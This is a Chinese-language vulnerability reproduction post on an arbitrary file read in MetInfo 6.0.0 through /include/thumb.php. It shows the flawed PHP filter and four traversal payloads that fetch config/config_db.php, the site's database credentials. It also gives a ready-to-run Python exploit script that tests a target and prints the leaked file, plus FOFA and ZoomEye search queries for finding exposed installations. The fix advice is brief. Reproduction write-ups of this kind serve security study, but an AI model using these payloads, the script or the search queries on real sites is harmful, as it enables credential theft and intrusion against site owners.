Metinfo6.0.0任意文件读取【漏洞复现】

文章目录

1.1、漏洞描述

漏洞名称:MetInfo任意文件读取

漏洞简介:MetInfo是一套使用PHP和MySQL开发的内容管理系统,其中的/app/system/include/module/old_thumb.class.php文件存在任意文件读取漏洞,攻击者可利用该漏洞读取网站的敏感文件。

下载地址:历史版本安装文件下载 Ver_6.0.0

1.2、漏洞等级

高危

1.3、影响版本

影响版本:MetInfo 6.0.0

1.4、漏洞复现

代码审计

php 复制代码
defined('IN_MET') or exit('No permission');

load::sys_class('web');

class old_thumb extends web{

      public function doshow(){
        global $_M;

         $dir = str_replace(array('../','./'), '', $_GET['dir']);


        if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){
            header("Content-type: image/jpeg");
            ob_start();
            readfile($dir);
            ob_flush();
            flush();
            die;
        }

dir = str_replace(array('.../','./'), '', _GET'dir');

dir变量接受来自$_GET'dir'传递进来的值,用了str_replace函数做替换,将.././替换成空值

readfile($dir);

漏洞点

python 复制代码
/include/thumb.php

使用bp进行抓包

测试一:

php 复制代码
/include/thumb.php?dir=..././http/..././config/config_db.php

测试二:

php 复制代码
/include/thumb.php?dir=.....///http/.....///config/config_db.php

测试三:

php 复制代码
/include/thumb.php?dir=http/.....///.....///config/config_db.php

测试四:

php 复制代码
/include/thumb.php?dir=http\..\..\config\config_db.php
    
   
# 此POC 仅适用于Windows 系统,Linux 下无效  
#    只有windows以右斜杠作为文件路径分隔符

1.5、深度利用

EXP编写

python 复制代码
import requests
import sys

banner = """
MetInfo 6.0.0
    ___________.__.__           __________                   .___
    \_   _____/|__|  |   ____   \______   \ ____ _____     __| _/
    |    __)  |  |  | _/ __ \   |       _// __ \\__  \   / __ | 
    |     \   |  |  |_\  ___/   |    |   \  ___/ / __ \_/ /_/ | 
    \___  /   |__|____/\___  >  |____|_  /\___  >____  /\____ | 
        \/                 \/          \/     \/     \/      \/ 
     
Usage: python3 *.py http://192.168.80.139/MetInfo6.0.0/
"""

headers = {
    "User-Agent":   "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36"
}

dir_list = [
    "..././http/..././config/config_db.php",
    ".....///http/.....///config/config_db.php",
    "http/.....///.....///config/config_db.php",
    "http\..\..\config\config_db.php"
]

def attack(host):
    vul = "/include/thumb.php"
    url = host + vul

    res = requests.get(url = url, headers = headers)

    if res.status_code != 200:
        print(f"[INFO] {vul} is Not Exists!")
        exit()

    print(f"[INFO] {vul} is Exists!")

    for param in dir_list:
        params = {
            "dir":  param 
        }

        res = requests.get(url = url, params = params, headers = headers)

        print(f"[INFO] Test URL: {res.url}")

        if "<?php" in res.text:
            print("[RESULT] The target is vulnreable!")
            print(f"[RESULT]\n{res.text}")
            break

if len(sys.argv) < 2:
    print(banner)
    exit()

host = sys.argv[1]

attack(host = host)

1.6、漏洞挖掘

FOFA

text 复制代码
app="metinfo"

ZoomEye

text 复制代码
app:"MetInfo"
app:"MetInfo"+os:"Windows"

1.7修复建议

  • 升级
  • 打补丁
  • 上设备
相关推荐
HackTwoHub2 小时前
开箱即用 AI 渗透测试系统,整合多类AI工具、Web安全、内网攻防、二进制逆向、API测试、流量分析等多个安全领域
人工智能·安全·web安全·网络安全·系统安全·网络攻击模型·安全架构
游戏开发爱好者81 天前
带签名时间戳接口的重放与压力测试实战,用动态值在发送前现算签名
网络协议·计算机网络·网络安全·ios·adb·https·压力测试
笨鸟先飞,勤能补拙2 天前
AI与深度学习:从原理到应用
人工智能·windows·vscode·深度学习·机器学习·网络安全·github
数据知道2 天前
网络安全实战:子域名接管实战——从 CNAME 配置错误到完全控制
网络·安全·web安全·网络安全
小新讲网安2 天前
云安全攻防实战:AWS与阿里云渗透测试全流程指南
安全·web安全·网络安全·阿里云·自动化·云计算·aws
Aision_2 天前
代码安全学习手记(二):SCA 软件成分分析原理与 OWASP Dependency-Check 集成实战
运维·人工智能·学习·安全·web安全·网络安全
艺杯羹2 天前
古典密码学攻防演进全景:从凯撒移位、频率分析到一次一密与恩尼格玛机破译
网络·人工智能·安全·网络安全·密码学·密码安全
菩提小狗2 天前
每日安全情报报告 · 2026-08-17
网络安全·漏洞·cve·安全情报·每日安全
菜是原罪2 天前
ECS CPU 100% 故障排查与安全事件复盘报告
运维·服务器·网络安全
juesdo2 天前
vulnos OS-00118靶场通关
linux·web安全·网络安全·docker